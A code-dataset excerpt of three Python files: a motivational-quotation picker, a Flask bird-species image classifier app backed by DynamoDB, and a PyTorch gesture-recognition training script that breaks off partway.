{"text": "import numpy as np\n\nquotations = [\n  \"The Pessimist Sees Difficulty In Every Opportunity. The Optimist Sees Opportunity In Every Difficulty.\",\n  \"Don\u2019t Let Yesterday Take Up Too Much Of Today.\",\n  \"You Learn More From Failure Than From Success. Don\u2019t Let It Stop You. Failure Builds Character.\",\n  \"It\u2019s Not Whether You Get Knocked Down, It\u2019s Whether You Get Up.\",\n  \"If You Are Working On Something That You Really Care About, You Don\u2019t Have To Be Pushed. The Vision Pulls You.\"\n  \"People Who Are Crazy Enough To Think They Can Change The World, Are The Ones Who Do.\",\n  \"Failure Will Never Overtake Me If My Determination To Succeed Is Strong Enough.\",\n  \"Entrepreneurs Are Great At Dealing With Uncertainty And Also Very Good At Minimizing Risk. That\u2019s The Classic Entrepreneur.\",\n  \"We May Encounter Many Defeats But We Must Not Be Defeated.\",\n  \"Knowing Is Not Enough; We Must Apply. Wishing Is Not Enough; We Must Do.\",\n  \"Imagine Your Life Is Perfect In Every Respect; What Would It Look Like?\",\n  \"We Generate Fears While We Sit. We Overcome Them By Action.\",\n  \"Whether You Think You Can Or Think You Can\u2019t, You\u2019re Right.\u201d \u2013 Quote By Henry Ford\",\n  \"Security Is Mostly A Superstition. Life Is Either A Daring Adventure Or Nothing.\",\n  \"The Man Who Has Confidence In Himself Gains The Confidence Of Others.\",\n  \"The Only Limit To Our Realization Of Tomorrow Will Be Our Doubts Of Today.\",\n  \"Creativity Is Intelligence Having Fun.\",\n  \"What You Lack In Talent Can Be Made Up With Desire, Hustle And Giving 110% All The Time.\",\n  \"Do What You Can With All You Have, Wherever You Are.\",\n  \"Develop An \u2018Attitude Of Gratitude\u2019. Say Thank You To Everyone You Meet For Everything They Do For You.\",\n  \"You Are Never Too Old To Set Another Goal Or To Dream A New Dream.\",\n  \"To See What Is Right And Not Do It Is A Lack Of Courage.\",\n  \"Reading Is To The Mind, As Exercise Is To The Body.\",\n  \"Fake It Until You Make It! Act As If You Had All The Confidence You Require Until It Becomes Your Reality.\",\n  \"The Future Belongs To The Competent. Get Good, Get Better, Be The Best!\",\n  \"For Every Reason It\u2019s Not Possible, There Are Hundreds Of People Who Have Faced The Same Circumstances And Succeeded.\",\n  \"Things Work Out Best For Those Who Make The Best Of How Things Work Out.\",\n  \"A Room Without Books Is Like A Body Without A Soul.\",\n  \"I Think Goals Should Never Be Easy, They Should Force You To Work, Even If They Are Uncomfortable At The Time.\",\n  \"One Of The Lessons That I Grew Up With Was To Always Stay True To Yourself And Never Let What Somebody Else Says Distract You From Your Goals.\",\n  \"Today\u2019s Accomplishments Were Yesterday\u2019s Impossibilities.\",\n  \"The Only Way To Do Great Work Is To Love What You Do. If You Haven\u2019t Found It Yet, Keep Looking. Don\u2019t Settle.\",\n  \"You Don\u2019t Have To Be Great To Start, But You Have To Start To Be Great.\",\n  \"A Clear Vision, Backed By Definite Plans, Gives You A Tremendous Feeling Of Confidence And Personal Power.\",\n  \"There Are No Limits To What You Can Accomplish, Except The Limits You Place On Your Own Thinking.\",\n  \"Integrity Is The Most Valuable And Respected Quality Of Leadership. Always Keep Your Word.\",\n  \"Leadership Is The Ability To Get Extraordinary Achievement From Ordinary People\",\n  \"Leaders Set High Standards. Refuse To Tolerate Mediocrity Or Poor Performance\",\n  \"Clarity Is The Key To Effective Leadership. What Are Your Goals?\",\n  \"The Best Leaders Have A High Consideration Factor. They Really Care About Their People\"\n]\n\ndef generateQuotation():\n  number = np.random.randint(0, len(quotations))\n  return quotations[number]", "meta": {"hexsha": "6f24606cf00232fcc68144b3e1a9e8994bde9303", "size": 3603, "ext": "py", "lang": "Python", "max_stars_repo_path": "quotations.py", "max_stars_repo_name": "yashsehgal/designsystem-bot", "max_stars_repo_head_hexsha": "c08c0c3ce4652df40dc1c0719c90f086ebc7f6e5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-12-20T08:18:43.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-20T03:29:30.000Z", "max_issues_repo_path": "quotations.py", "max_issues_repo_name": "yashsehgal/designsystem-bot", "max_issues_repo_head_hexsha": "c08c0c3ce4652df40dc1c0719c90f086ebc7f6e5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-12-20T08:50:21.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-22T07:03:06.000Z", "max_forks_repo_path": "quotations.py", "max_forks_repo_name": "yashsehgal/designsystem-bot", "max_forks_repo_head_hexsha": "c08c0c3ce4652df40dc1c0719c90f086ebc7f6e5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-01-22T03:21:04.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-06T08:10:03.000Z", "avg_line_length": 75.0625, "max_line_length": 147, "alphanum_fraction": 0.746877602, "include": true, "reason": "import numpy", "num_tokens": 863, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.600188359260205, "lm_q2_score": 0.16451646494473965, "lm_q1q2_score": 0.09874086716647232}}
{"text": "from flask import Flask, request, render_template, url_for, make_response, send_from_directory, flash, redirect, jsonify\nfrom werkzeug.utils import secure_filename\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.image import img_to_array, load_img\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras.utils import to_categorical\nfrom PIL import Image\nfrom io import BytesIO\nimport os\nimport os.path\nimport sys\nimport base64\nimport uuid\nimport time\nfrom datetime import datetime, timedelta\nimport configparser\nimport boto3\nfrom decimal import Decimal\nfrom itertools import islice\n\nconfig = configparser.ConfigParser()\nconfig.read('conf/application.ini')\n\napp_config = config['default']\n\n# util function to chunk a dictionary to multiple dictionaries\ndef get_chunks(data, SIZE=100):\n    it = iter(data)\n    for i in range(0, len(data), SIZE):\n        yield {k:data[k] for k in islice(it, SIZE)}\n\n# https://github.com/tensorflow/tensorflow/issues/24828\n# from tensorflow.keras.backend import set_session\n# config = tf.ConfigProto()\n# config.gpu_options.allow_growth = True\n# session = tf.Session(config=config)\n# set_session(session)\n\nconfig = tf.compat.v1.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsession = tf.compat.v1.InteractiveSession(config=config)\n\n# Get the DynamoDB service resource.\ndynamodb = boto3.resource('dynamodb', region_name=app_config.get('aws_redion'))\ndynamoDBClient = boto3.client('dynamodb', region_name=app_config.get('aws_redion'))\n\npredictions_log = dynamodb.Table('birdwatch_predictions_log')\ncustomer_feedback_tbl = dynamodb.Table('birdwatch_customer_feedback')\nsettings_tbl = dynamodb.Table('birdwatch_settings')\n\n'''The domain name we will be using for our website. This will be used for SEO'''\nsite_domain = app_config.get('site_domain')\n\n# dimensions of our images.\nimg_width = app_config.getint('img_width')\nimg_height = app_config.getint('img_height')\n\nfinal_model_path = app_config.get('final_model_path')\n\nclass_dictionary = np.load(app_config.get('class_dictionary_path'), allow_pickle=True).item()\n\n# chunck the class dictionary for display purpose\nchunked_list = get_chunks(class_dictionary, SIZE=(len(class_dictionary) // 2))\nlist_one = next(chunked_list)\nlist_two = next(chunked_list)\n\n# Google analytics property ID\nanalytics_id = app_config.get('analytics_id')\n\n# Advertising IDs\npublisher_id = app_config.get('publisher_id')\n\nglobal model, graph\n# graph = tf.get_default_graph()\nmodel = load_model(final_model_path)\n\nALLOWED_FILETYPES = set(['.jpg', '.jpeg', '.gif', '.png'])\n\ndef classify_image(image):\n    image = img_to_array(image)\n\n    # perform the ImageNet mean subtraction\n    # mean = np.array([123.68, 116.779, 103.939][::1], dtype=\"float32\")\n    # image -= mean\n\n    # important! otherwise the predictions will be '0'\n    image = image / 255.0\n\n    # add a new axis to make the image array confirm with\n    # the (samples, height, width, depth) structure\n    image = np.expand_dims(image, axis=0)\n\n    # get the probabilities for the prediction\n    # with graph.as_default():\n    probabilities = model.predict(image)\n\n    prediction_probability = probabilities[0, probabilities.argmax(axis=1)][0]\n\n    class_predicted = np.argmax(probabilities, axis=1)\n\n    inID = class_predicted[0]\n\n    # invert the class dictionary in order to get the label for the id\n    inv_map = {v: k for k, v in class_dictionary.items()}\n    label = inv_map[inID]\n\n    top_5 = get_top_n_predictions(probabilities, inv_map)[0]\n\n    print(\"[Info] Predicted: {}, Confidence: {}\".format(label, prediction_probability))\n    print(top_5)\n\n    return label, prediction_probability, top_5\n\n\ndef get_top_n_predictions(preds, class_map, top=5):\n    results = []\n    for pred in preds:\n        top_indices = pred.argsort()[-top:][::-1]\n        # result = [(class_map[i],) + (pred[i],) for i in top_indices]\n        result = [(class_map[i],) + (str(np.around(pred[i] * 100, decimals=8)),) for i in top_indices]\n        result.sort(key=lambda x: float(x[1]), reverse=True)\n        results.append(result)\n    return results\n\n\ndef get_iamge_thumbnail(image):\n    image.thumbnail((400, 400), resample=Image.LANCZOS)\n    image = image.convert(\"RGB\")\n    with BytesIO() as buffer:\n        image.save(buffer, 'jpeg')\n        return base64.b64encode(buffer.getvalue()).decode()\n\n\ndef index():\n    # handling the POST method of the submit\n    if request.method == 'POST':\n        # check if the post request has the file part\n        if 'bird_image' not in request.files:\n            print(\"[Error] No file uploaded.\")\n            flash('No file uploaded.')\n            return redirect(url_for('index'))\n        \n        f = request.files['bird_image']\n\n        # if user does not select file, browser also\n        # submit an empty part without filename\n        if f.filename == '':\n            print(\"[Error] No file selected to upload.\")\n            flash('No file selected to upload.')\n            return redirect(url_for('index'))\n\n        sec_filename = secure_filename(f.filename)\n        file_extension = os.path.splitext(sec_filename)[1]\n\n        if f and file_extension.lower() in ALLOWED_FILETYPES:\n            file_tempname = uuid.uuid4().hex\n            image_path = './uploads/' + file_tempname + file_extension\n            f.save(image_path)\n            file_size = os.path.getsize(image_path)\n\n            file_size_str = str(file_size) + \" bytes\"\n            if (file_size >= 1024):\n                if (file_size >= 1024 * 1024):\n                    file_size_str = str(file_size // (1024 * 1024)) + \" MB\"\n                else:\n                    file_size_str = str(file_size // 1024) + \" KB\"\n\n            image = load_img(image_path, target_size=(img_width, img_height), interpolation='lanczos')\n\n            orig_image = Image.open(image_path)\n            orig_width, orig_height = orig_image.size\n\n            label, prediction_probability, top_5 = classify_image(image=image)\n            prediction_probability = np.around(prediction_probability * 100, decimals=4)\n\n            prediction_id = log_prediction(prediction_label=label, prediction_confidence=prediction_probability)\n\n            image_data = get_iamge_thumbnail(image=orig_image)\n\n            sample_img_path = './samples/' + label + '.jpg'\n            sample_data = None\n            if (os.path.isfile(sample_img_path)):\n                sample_image = Image.open(sample_img_path)\n                sample_data = get_iamge_thumbnail(image=sample_image)\n            else:\n                print(\"[Error] Sample image does not exist: {}\".format(sample_img_path))\n\n            os.remove(image_path)\n\n            with application.app_context():\n                return render_template('index.html', \n                                        label=label, \n                                        prob=prediction_probability, \n                                        image=image_data,\n                                        file_name=sec_filename,\n                                        file_size=file_size_str,\n                                        sample_image=sample_data,\n                                        width=orig_width,\n                                        height=orig_height,\n                                        analytics_id=analytics_id,\n                                        publisher_id=publisher_id,\n                                        prediction_id=prediction_id,\n                                        num_classes=len(class_dictionary),\n                                        app_version=get_setting('application_version'),\n                                        top_5=top_5\n                                        )\n        else:\n            print(\"[Error] Unauthorized file extension: {}\".format(file_extension))\n            flash(\"The file type you selected: '{}' is not supported. Please select a '.jpg', '.jpeg', '.gif', or a '.png' file.\".format(file_extension))\n            return redirect(url_for('index'))\n    else:\n        # handling the GET, HEAD, and any other methods\n\n        with application.app_context():\n            return render_template('index.html', \n                                    analytics_id=analytics_id,\n                                    publisher_id=publisher_id,\n                                    num_classes=len(class_dictionary),\n                                    app_version=get_setting('application_version')\n                                    )\n\n\ndef log_prediction(prediction_label, prediction_confidence):\n    prediction_id = str(uuid.uuid4())\n    timestamp = int(time.time())\n    prediction_confidence = Decimal(str(prediction_confidence))\n    predictions_log.put_item(\n        Item={\n            'prediction_id': prediction_id,\n            'timestamp': timestamp,\n            'prediction_label': prediction_label,\n            'prediction_confidence': prediction_confidence,\n            'correctness': -1,\n        }\n    )\n    \n    item_count = predictions_log.item_count\n    print(\"[Info] Item count: {}\".format(item_count))\n    # response = dynamoDBClient.describe_table(TableName='birdwatch_predictions_log')\n    # print(response['Table']['ItemCount'])\n    return prediction_id\n\ndef set_correctness():\n    req_json = request.get_json()\n    prediction_id = req_json.get('prediction_id')\n    correctness = req_json.get('correctness')\n\n    if (req_json and prediction_id and (correctness or correctness==0)):\n        try:\n            correctness = int(correctness)\n            update_correctness(prediction_id=prediction_id, correctness=correctness)\n        except Exception as e:\n            print(\"[Error] Error updating correctness: {}\".format(e))\n\n    return jsonify(success=True)\n\ndef update_correctness(prediction_id, correctness):\n    predictions_log.update_item(\n        Key={\n            'prediction_id': prediction_id\n        },\n        UpdateExpression='SET correctness = :val1',\n        ExpressionAttributeValues={\n            ':val1': correctness\n        }\n    )\n\ndef customer_feedback():\n    req_json = request.get_json()\n    feedback_id = str(uuid.uuid4())\n    timestamp = int(time.time())\n\n    feedback = req_json.get('feedback')\n    rating = req_json.get('rating')\n\n    if (req_json and feedback and rating):\n        try:\n            rating = int(rating)\n\n            customer_feedback_tbl.put_item(\n                Item={\n                    'feedback_id': feedback_id,\n                    'timestamp': timestamp,\n                    'feedback': feedback,\n                    'rating': rating,\n                }\n            )\n        except Exception as e:\n            print(\"[Error] Error setting feedback: {}\".format(e))\n\n    return jsonify(success=True)\n\ndef get_setting(setting_id):\n    response = settings_tbl.get_item(\n                                    Key={\n                                    'setting_key': setting_id\n                                    }\n                                )\n    return response['Item']['setting_value']\n\n\ndef about():\n    return render_template('about.html', \n                            analytics_id=analytics_id, \n                            publisher_id=publisher_id, \n                            classes=class_dictionary,\n                            list_one=list_one,\n                            list_two=list_two,\n                            app_version=get_setting('application_version')\n                            )\n\ndef howitworks():\n    return render_template('howitworks.html', \n                            analytics_id=analytics_id, \n                            publisher_id=publisher_id,\n                            app_version=get_setting('application_version'), \n                            )\n\ndef sitemap():\n    try:\n        \"\"\"Generate sitemap.xml. Makes a list of urls and date modified.\"\"\"\n        pages=[]\n        app_modified_time = app_config.get('app_modified_time', '2020-09-13T10:45:49Z')\n\n        app_modified_time = get_setting('app_modified_time')\n\n        app_modified_time = datetime.strptime(app_modified_time, \"%Y-%m-%dT%H:%M:%SZ\")\n        modified_time = str(app_modified_time.replace(microsecond=0).isoformat()) + 'Z'\n\n        # static pages\n        for rule in application.url_map.iter_rules():\n            if \"GET\" in rule.methods and len(rule.arguments)==0:\n                # skipping the sitemap and robots.txt routes\n                if (str(rule.rule) == '/sitemap.xml' or str(rule.rule) == '/robots.txt' or str(rule.rule) == '/ads.txt'):\n                    continue\n\n                pages.append(\n                            [site_domain + str(rule.rule), modified_time]\n                            )\n\n        sitemap_xml = render_template('sitemap_template.xml', pages=pages)\n        response = make_response(sitemap_xml)\n        response.headers[\"Content-Type\"] = \"application/xml\"\n\n        return response\n    except Exception as e:\n        return(str(e))\n\ndef robots():\n    return send_from_directory(application.static_folder, 'robots.txt')\n\ndef ads_txt():\n    ads_txt = render_template('ads.txt', publisher_id=publisher_id)\n    response = make_response(ads_txt)\n    response.headers[\"Content-Type\"] = \"text/plain\"\n\n    return response\n\ndef http_413(e):\n    print(\"[Error] Uploaded file too large.\")\n    flash('Uploaded file too large.')\n    return redirect(url_for('index'))\n\n\n# EB looks for an 'application' callable by default.\napplication = Flask(__name__)\napplication.secret_key = app_config.get('application_secret')\n\n# add a rule for the index page.\napplication.add_url_rule('/', 'index', index, methods=['GET', 'POST'])\n\n# AJAX routes\napplication.add_url_rule('/correctness', 'correctness', set_correctness, methods=['POST'])\napplication.add_url_rule('/feedback', 'feedback', customer_feedback, methods=['POST'])\n\n\napplication.add_url_rule('/about', 'about', about, methods=['GET'])\n# application.add_url_rule('/howitworks', 'howitworks', howitworks, methods=['GET'])\n\napplication.add_url_rule('/sitemap.xml', 'sitemap.xml', sitemap, methods=['GET'])\napplication.add_url_rule('/robots.txt', 'robots.txt', robots, methods=['GET'])\napplication.add_url_rule('/ads.txt', 'ads.txt', ads_txt, methods=['GET'])\n\napplication.register_error_handler(413, http_413)\napplication.config['MAX_CONTENT_LENGTH'] = app_config.getint('max_upload_size') * 1024 * 1024\n\n# run the app.\nif __name__ == \"__main__\":\n    # Setting debug to True enables debug output. This line should be\n    # removed before deploying a production app.\n    application.debug = app_config.getboolean('debug')\n    application.run()", "meta": {"hexsha": "7a3dd28cd95258b255e6359be42b586d9387516f", "size": 14540, "ext": "py", "lang": "Python", "max_stars_repo_path": "application.py", "max_stars_repo_name": "Thimira/bird_watch", "max_stars_repo_head_hexsha": "51a57adb3b41e6e6787d1f751d1a11786563d985", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 22, "max_stars_repo_stars_event_min_datetime": "2019-06-17T19:22:33.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-18T02:39:38.000Z", "max_issues_repo_path": "application.py", "max_issues_repo_name": "farazk86/bird_watch", "max_issues_repo_head_hexsha": "9939abdada0cd768277ae8efcce1d405ac850ede", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2020-11-13T18:11:12.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-10T00:12:20.000Z", "max_forks_repo_path": "application.py", "max_forks_repo_name": "farazk86/bird_watch", "max_forks_repo_head_hexsha": "9939abdada0cd768277ae8efcce1d405ac850ede", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2019-06-13T02:17:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-25T15:49:13.000Z", "avg_line_length": 36.9035532995, "max_line_length": 153, "alphanum_fraction": 0.6221458047, "include": true, "reason": "import numpy", "num_tokens": 2950, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1943678133521021, "lm_q1q2_score": 0.09870228165420342}}
{"text": "import numpy as np\nimport pickle\nimport os\nfrom PIL import Image\nimport time\nfrom tqdm import tqdm, trange\nimport shutil\nfrom random import randint\nimport argparse\nimport glob\nimport pdb\nimport random\nimport math\nimport time\nimport argparse\nimport matplotlib.pyplot as plt\nfrom copy import deepcopy\nimport torchvision.transforms as transforms\nimport torchvision.models as models\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch\nfrom torch.autograd import Variable\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import Dataset, DataLoader, RandomSampler\nfrom torchsummary import summary\nfrom tensorboardX import SummaryWriter\n\n\nfrom models import resnext \nfrom model import generate_model\nimport utils\nfrom dataset import dataset_config, dataset_pkl, dataset_pkl_EgoGesture\nfrom dataset.transforms import *\nfrom dataset.temporal_transforms import *\n\n\nimport warnings\nimport os\n# os.environ['CUDA_VISIBLE_DEVICES']='3'\nwarnings.filterwarnings(\"ignore\")\n\ndef parse_opts():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--cuda_id', type=str, default='0,1,2,3')\n\n    # args for dataloader\n    parser.add_argument('--is_train', action='store_true')\n    parser.add_argument('--batch_size', type=int, default=42)\n    parser.add_argument('--num_workers', type=int, default=8)\n    parser.add_argument('--w', type=int, default=224)\n    parser.add_argument('--h', type=int, default=224)\n    parser.add_argument('--sample_size', type=int, default=224)\n\n    parser.add_argument('--clip_len', type=int, default=16)\n    parser.add_argument('--dataset', type=str, default='jester')\n    \n    \n    \n    # args for generating the model\n    parser.add_argument('--model', type=str, default='resnext')\n    parser.add_argument('--arch', type=str, default='resnext-101')\n    parser.add_argument('--model_depth', type=int, default=101)\n    parser.add_argument('--resnet_shortcut', type=str, default='B')\n    parser.add_argument('--resnext_cardinality', type=int, default=32)\n    # parser.add_argument('--sample_duration', type=int, default=32)\n    parser.add_argument('--pretrain_path', type=str,\n    default = '/home/data2/zhengwei/R3D_pretrained_kinetics/resnext-101-kinetics.pth',\n    # default='models/pretrained_models/resnext-101-kinetics.pth',\n    # default = 'models/pretrained_models/resnet-50-kinetics.pth',\n    help='Pretrained path for training model, DO NOT use for testing. Testing trained path is \\\n    defined in the main script')\n    parser.add_argument('--modality', type=str, default='RGB', \n                        help='Modality of input data. RGB, Depth, RGB-D and fusion. Fusion \\\n                            is only used when testing the two steam model')\n    parser.add_argument('--ft_begin_index', type=int, default=0, \n                        help='How many parameters need to be fine tuned')\n    parser.add_argument('--no_cuda', type=bool, default=False)\n\n\n\n\n\n    # args for preprocessing\n    parser.add_argument('--initial_scale', type=float, default=1,\n                        help='Initial scale for multiscale cropping')\n    parser.add_argument('--n_scales', default=5, type=int,\n                        help='Number of scales for multiscale cropping')\n    parser.add_argument('--scale_step', default=0.84089641525, type=float,\n                        help='Scale step for multiscale cropping')\n\n\n    # args for training\n    parser.add_argument('--lr_steps', type=list, default=[10,20],\n                        help='lr steps for decreasing learning rate')    \n    parser.add_argument('--learning_rate', type=float, default=1e-3,\n                        help='learning rate')  \n    parser.add_argument('--log', default='log', type=str)\n    args = parser.parse_args()\n    return args\n\nargs = parse_opts()\n\n# ROOT_DATA_PATH = '/home/data2/zhengwei/{}'.format(args.dataset)\n# annot_path = os.path.join(ROOT_DATA_PATH,'{}_annotation'.format(args.dataset))\nannot_path = '{}_annotation'.format(args.dataset)\nlabel_path = '/home/data2/zhengwei/{}/'.format(args.dataset) # for submitting testing results\n# label_path = # label_path = '/home/data2/zhengwei/sth-sth-v2'\n\n\nos.environ['CUDA_VISIBLE_DEVICES']=args.cuda_id\ndevice = 'cuda:0'\nif isinstance(args.cuda_id, list):\n    device_ids = [i for i in eval(args.cuda_id)]\nelse:\n    device_ids = [eval(args.cuda_id)]\n\n\nparams = dict()\nparams['save_path'] = '{}-{}'.format(args.dataset, args.arch)\nparams['display'] = 10\n\n\n\ndef forward(model, data):\n    if args.dataset == 'EgoGesture':\n        rgbs, depths, labels = data\n        if args.modality == 'RGB':\n            inputs = rgbs.to(device, non_blocking=True).float()\n        elif args.modality == 'Depth':\n            inputs = depths.to(device, non_blocking=True).float()\n        elif args.modality == 'RGB-D':\n            inputs = torch.cat((rgbs, depths), 1).to(device, non_blocking=True).float()\n    else:\n        rgbs, labels = data\n        inputs = rgbs.to(device, non_blocking=True).float().transpose(2,1)\n    probs, logits = model(inputs)\n    labels = labels.to(device, non_blocking=True).long()\n    return probs, logits, labels\n\ndef model_test(model, save_dir, filename, dataloader, num_class):\n    model.module.fc = nn.Linear(model.module.fc.in_features, num_class)\n    model.module.fc.to(device)\n    checkpoint = utils.load_checkpoint(save_dir, filename)\n    # model = checkpoint['model']\n    model.load_state_dict(checkpoint['state_dict'])\n    model.eval()\n    print('Evaluating for model {}........'.format(filename))\n    acc = utils.AverageMeter()\n    for data in tqdm(dataloader):\n        probs, logits, labels = forward(model, data)\n        acc.update(utils.calculate_accuracy(probs, labels))\n    print('val_acc:{:.3f}'.format(acc.avg))\n\n\ndef model_train(model, dataloader_train, dataloader_val):\n    model.train()\n    num_epochs = 50\n    criterion = nn.CrossEntropyLoss().to(device)\n\n    # determine optimizer\n    fc_lr_layers = list(map(id, model.module.fc.parameters()))\n    pretrained_lr_layers = [p for p in model.parameters() \n                            if id(p) not in fc_lr_layers and p.requires_grad==True]\n    # pretrained_lr_layers = filter(lambda p: \n    #                               id(p) not in fc_lr_layers, model.parameters())\n    # optimizer = torch.optim.SGD([\n    #     {\"params\": model.module.fc.parameters()},\n    #     {\"params\": pretrained_lr_layers, \"lr\": 1e-4, 'weight_decay':1e-3}\n    # ], lr=1e-3, momentum=0.9, weight_decay=1e-3)    \n\n    optimizer = torch.optim.SGD(model.parameters(),lr=args.learning_rate, momentum=0.9, weight_decay=1e-3)  \n\n    cur_time = time.strftime('%Y-%m-%d-%H-%M-%S', time.localtime(time.time()))\n    save_dir = os.path.join(params['save_path'], cur_time)\n    if not os.path.exists(save_dir):\n        os.makedirs(save_dir) \n\n    logdir = os.path.join(args.log, cur_time)\n    if not os.path.exists(logdir):\n        os.makedirs(logdir)\n    writer = SummaryWriter(log_dir=logdir)\n\n\n    # train_logger = utils.Logger(os.path.join(save_dir, '{}-{}-{}.log'.format(args.arch, args.clip_len, args.modality)),\n    #                             ['step', 'train_loss', 'train_acc', 'val_loss', 'val_acc',\n    #                             'lr_feature', 'lr_fc'])\n    # scheduler = lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.1)\n    \n\n\n    batch_time = utils.AverageMeter()\n    data_time = utils.AverageMeter()\n    losses = utils.AverageMeter()\n    top1 = utils.AverageMeter()\n    top5 = utils.AverageMeter()\n\n\n    for epoch in trange(num_epochs):  # loop over the dataset multiple times\n        batch_time.reset()\n        data_time.reset()\n        losses.reset()\n        top1.reset()\n        top5.reset()\n\n        end = time.time()\n        step = 0\n        for data in dataloader_train:\n            data_time.update(time.time() - end)\n            probs, outputs, labels = forward(model, data)\n            optimizer.zero_grad()\n            loss_ = criterion(outputs, labels)\n            loss_.backward()\n            optimizer.step()\n            prec1, prec5 = utils.accuracy(outputs.data, labels, topk=(1, 5))\n            top1.update(prec1.item(), data[0].size(0))\n            top5.update(prec5.item(), data[0].size(0))\n            losses.update(loss_.item())\n            batch_time.update(time.time() - end)\n            end = time.time()\n            if (step+1) % params['display'] == 0:\n                # print('-------------------------------------------------------')\n                # print('epoch{}/{} train_acc:{:.3f} train_loss:{:.3f} '.format(\n                #     epoch + 1, num_epochs,\n                #     train_acc.val, train_loss.val\n                #     ))\n                print('-------------------------------------------------------')\n                for param in optimizer.param_groups:\n                    print('lr: ', param['lr'])\n                print_string = 'Epoch: [{0}][{1}/{2}]'.format(epoch, step+1, len(dataloader_train))\n                print(print_string)\n                print_string = 'data_time: {data_time:.3f}, batch time: {batch_time:.3f}'.format(\n                    data_time=data_time.val,\n                    batch_time=batch_time.val)\n                print(print_string)\n                print_string = 'loss: {loss:.5f}'.format(loss=losses.avg)\n                print(print_string)\n                print_string = 'Top-1 accuracy: {top1_acc:.2f}%, Top-5 accuracy: {top5_acc:.2f}%'.format(\n                    top1_acc=top1.avg,\n                    top5_acc=top5.avg)\n                print(print_string)\n            step += 1     \n        utils.save_checkpoint(model, optimizer, step, save_dir,\n                                '{}-{}-{}-{}.pth'.format(args.arch, args.clip_len, args.modality, epoch))\n        # scheduler.step()\n        utils.adjust_learning_rate(args.learning_rate, optimizer, epoch, args.lr_steps)\n\n\n        writer.add_scalar('train_loss_epoch', losses.avg, epoch)\n        writer.add_scalar('train_top1_acc_epoch', top1.avg, epoch)\n        writer.add_scalar('train_top5_acc_epoch', top5.avg, epoch)\n\n\n        batch_time.reset()\n        data_time.reset()\n        losses.reset()\n        top1.reset()\n        top5.reset()\n\n        end = time.time()\n        model.eval()\n        with torch.no_grad():\n            for data_val in dataloader_val:\n                data_time.update(time.time() - end)\n                probs_val, outputs_val, labels_val = forward(model, data_val)\n                val_loss_ = criterion(outputs_val, labels_val)\n                losses.update(val_loss_.item())\n                prec1, prec5 = utils.accuracy(outputs.data, labels, topk=(1, 5))\n                top1.update(prec1.item(), data[0].size(0))\n                top5.update(prec5.item(), data[0].size(0))\n                batch_time.update(time.time() - end)\n                end = time.time()\n        model.train()\n        print('----validation----')\n        print_string = 'Epoch: [{0}][{1}/{2}]'.format(epoch, step + 1, len(dataloader_val))\n        print(print_string)\n        print_string = 'data_time: {data_time:.3f}, batch time: {batch_time:.3f}'.format(\n            data_time=data_time.val,\n            batch_time=batch_time.val)\n        print(print_string)\n        print_string = 'loss: {loss:.5f}'.format(loss=losses.avg)\n        print(print_string)\n        print_string = 'Top-1 accuracy: {top1_acc:.2f}%, Top-5 accuracy: {top5_acc:.2f}%'.format(\n            top1_acc=top1.avg,\n            top5_acc=top5.avg)\n        print(print_string)\n\n\n        writer.add_scalar('val_loss_epoch', losses.avg, epoch)\n        writer.add_scalar('val_top1_acc_epoch', top1.avg, epoch)\n        writer.add_scalar('val_top5_acc_epoch', top5.avg, epoch)\n\n\n\n\n\n\nif __name__ == '__main__':\n    # keep shuffling be constant every time\n    seed = 1\n    torch.manual_seed(seed)\n    # torch.cuda.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)  # if you are using multi-GPU.\n\n    mean=[.485, .456, .406]\n    std=[.229, .224, .225]\n\n    scales = [args.initial_scale]\n    for i in range(1, args.n_scales):\n        scales.append(scales[-1] * args.scale_step)\n\n\n\n    temporal_transform_train = transforms.Compose([\n            TemporalUniformCrop(args.clip_len)\n            ])    \n\n    temporal_transform_test = transforms.Compose([\n            TemporalUniformCrop(args.clip_len)\n            ])\n\n    trans_train  = transforms.Compose([\n                            GroupScale([256, 256]),  #112/0.8\n                            GroupMultiScaleCrop([args.w, args.h], scales),\n                            # GroupMultiScaleRotate(20),\n                            ToTorchFormatTensor(),\n                            Stack_3D(),\n                            GroupNormalize(mean=mean, std=std)])\n\n\n    trans_test  = transforms.Compose([\n                           GroupScale([args.w, args.h]),\n                           ToTorchFormatTensor(),\n                           Stack_3D(),\n                           GroupNormalize(mean=mean, std=std)])\n\n    num_class, args.train_list, args.val_list, args.root_path, prefix = dataset_config.return_dataset(args.dataset, args.modality)\n    params['num_classes'] = num_class\n\n    # load dataset\n    if args.is_train:\n        print('Loading training data.....')\n        if args.dataset == 'EgoGesture':\n            dataset_train = dataset_pkl_EgoGesture.dataset_video(annot_path, 'train',\n                                                spatial_transform=trans_train,\n                                                temporal_transform = temporal_transform_train)\n            dataloader_train = DataLoader(dataset_train, batch_size=args.batch_size,\n                                            shuffle=True, \n                                            num_workers=args.num_workers, pin_memory=True)\n\n            print('\\n')\n            print('Loading validating data.....')\n            dataset_val = dataset_pkl_EgoGesture.dataset_video(annot_path, 'val', \n                                                spatial_transform=trans_test,\n                                                temporal_transform = 